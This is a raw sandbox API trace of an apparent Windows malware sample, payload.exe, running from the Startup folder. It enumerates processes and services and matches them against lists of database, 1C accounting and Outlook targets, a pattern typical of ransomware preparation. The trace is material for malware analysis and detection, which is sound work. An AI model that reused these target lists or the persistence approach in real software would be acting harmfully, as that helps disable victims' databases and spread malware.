[0084.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0084.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0084.455] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0084.455] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0084.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0084.455] lstrlenW (lpString="ShellHWDetection") returned 16 [0084.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0084.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0084.455] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0084.455] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0084.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0084.455] lstrlenW (lpString="Spooler") returned 7 [0084.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0084.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0084.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0084.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0084.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0084.455] lstrlenW (lpString="Themes") returned 6 [0084.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0084.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0084.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0084.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0084.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0084.455] lstrlenW (lpString="UxSms") returned 5 [0084.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0084.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0084.455] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0084.455] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0084.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0084.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5294a0 | out: hHeap=0x4f0000) returned 1 [0084.456] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0084.458] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0084.458] lstrlenW (lpString="System") returned 6 [0084.458] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0084.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0084.458] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0084.458] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0084.458] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0084.458] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0084.458] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0084.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0084.458] lstrlenW (lpString="smss.exe") returned 8 [0084.458] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0084.459] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.459] lstrlenW (lpString="csrss.exe") returned 9 [0084.459] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0084.459] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0084.459] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0084.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0084.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0084.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0084.459] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0084.459] lstrlenW (lpString="wininit.exe") returned 11 [0084.459] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0084.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0084.459] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0084.460] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0084.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0084.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0084.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0084.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.460] lstrlenW (lpString="csrss.exe") returned 9 [0084.460] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0084.460] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0084.460] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0084.460] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0084.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0084.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0084.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0084.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0084.460] lstrlenW (lpString="winlogon.exe") returned 12 [0084.460] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0084.460] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0084.460] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0084.460] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0084.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0084.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0084.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0084.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0084.461] lstrlenW (lpString="services.exe") returned 12 [0084.461] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0084.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0084.461] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0084.461] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0084.461] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0084.461] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0084.461] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0084.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0084.461] lstrlenW (lpString="lsass.exe") returned 9 [0084.461] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0084.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0084.461] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0084.461] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0084.461] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0084.461] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0084.461] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0084.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0084.461] lstrlenW (lpString="lsm.exe") returned 7 [0084.461] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0084.462] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0084.462] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0084.462] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0084.462] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0084.462] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0084.462] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0084.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.462] lstrlenW (lpString="svchost.exe") returned 11 [0084.462] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0084.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.462] lstrlenW (lpString="svchost.exe") returned 11 [0084.462] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0084.462] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0084.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.463] lstrlenW (lpString="svchost.exe") returned 11 [0084.463] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0084.463] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.463] lstrlenW (lpString="svchost.exe") returned 11 [0084.463] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0084.463] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0084.463] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.463] lstrlenW (lpString="svchost.exe") returned 11 [0084.464] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0084.464] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0084.464] lstrlenW (lpString="audiodg.exe") returned 11 [0084.464] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0084.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0084.464] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0084.464] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0084.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0084.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0084.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0084.464] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.464] lstrlenW (lpString="svchost.exe") returned 11 [0084.464] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0084.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0084.464] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.465] lstrlenW (lpString="svchost.exe") returned 11 [0084.465] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0084.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0084.465] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0084.465] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0084.465] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0084.465] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0084.465] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0084.465] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0084.465] lstrlenW (lpString="LogonUI.exe") returned 11 [0084.465] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0084.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0084.465] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0084.465] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0084.465] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0084.465] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0084.466] lstrlenW (lpString="userinit.exe") returned 12 [0084.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0084.466] lstrlenW (lpString="dwm.exe") returned 7 [0084.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0084.466] lstrlenW (lpString="explorer.exe") returned 12 [0084.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0084.466] lstrlenW (lpString="spoolsv.exe") returned 11 [0084.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0084.467] lstrlenW (lpString="taskhost.exe") returned 12 [0084.467] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.467] lstrlenW (lpString="svchost.exe") returned 11 [0084.467] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0084.467] lstrlenW (lpString="payload.exe") returned 11 [0084.467] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0084.467] lstrlenW (lpString="reader_sl.exe") returned 13 [0084.467] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0084.467] CloseHandle (hObject=0xe0) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525548 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525590 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504a60 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5255d8 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525620 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524d30 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5049d8 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5049f8 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504618 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504640 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504a40 | out: hHeap=0x4f0000) returned 1 [0084.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504668 | out: hHeap=0x4f0000) returned 1 [0084.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x52af08 [0084.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x53af10 [0084.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x504668 [0084.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504668, Size=0x40) returned 0x526c68 [0084.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x504668 [0084.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x504640 [0084.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.468] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x504618 [0084.469] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504618, Size=0x40) returned 0x526cb0 [0084.469] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x53af10, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x67 [0084.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54af18 [0084.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55af20 [0084.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524d30 [0084.469] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524d30, Size=0x20) returned 0x504618 [0084.469] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504618, Size=0x40) returned 0x526cf8 [0084.469] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526cf8, Size=0x80) returned 0x525548 [0084.469] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525548, Size=0x100) returned 0x527e70 [0084.469] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0084.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527e70 | out: 